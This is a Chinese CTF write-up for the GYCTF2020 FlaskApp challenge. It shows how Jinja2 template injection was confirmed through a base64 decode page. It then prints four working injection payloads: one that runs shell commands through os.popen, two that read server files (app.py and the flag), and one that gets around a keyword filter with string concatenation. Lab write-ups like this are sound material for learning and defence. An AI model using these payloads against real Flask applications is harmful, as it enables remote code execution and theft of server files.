第六十二题——[GYCTF2020]FlaskApp

Posted 想学习安全的小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第六十二题——[GYCTF2020]FlaskApp相关的知识,希望对你有一定的参考价值。

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,base64加密页面,题目给出flask提示,猜测使用模板注入

在这里插入图片描述

第二步:构建漏洞

在加密页面将{{7+7}}进行base64加密后,将密文使用解密页面解码,发现执行了7+7算法,确定了存在模板注入漏洞。
在这里插入图片描述
在这里插入图片描述

第三步:获取flag

  1. 使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}命令查看根目录下所有文件,期望获取到flag所在地,结果发现执行失败
    在这里插入图片描述

  2. 使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}命令读取app.py文件,查看过滤规则,发现os,flag等关键字被屏蔽
    在这里插入图片描述

  3. 利用字符串拼接,以及listdir函数获取根目录下的文档,使用命令:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
    在这里插入图片描述

  4. 获取this_is_flag.txt文档内容,使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
    在这里插入图片描述

以上是关于第六十二题——[GYCTF2020]FlaskApp的主要内容,如果未能解决你的问题,请参考以下文章

python第六十八天--第十二周作业

小刘同学的第六十二篇博文

“全栈2019”Java第六十一章:如何实现接口?

每日一题 为了工作 2020 0502 第六十一题

每日一题 为了工作 2020 0510 第六十八题

每日一题 为了工作 2020 0510 第六十八题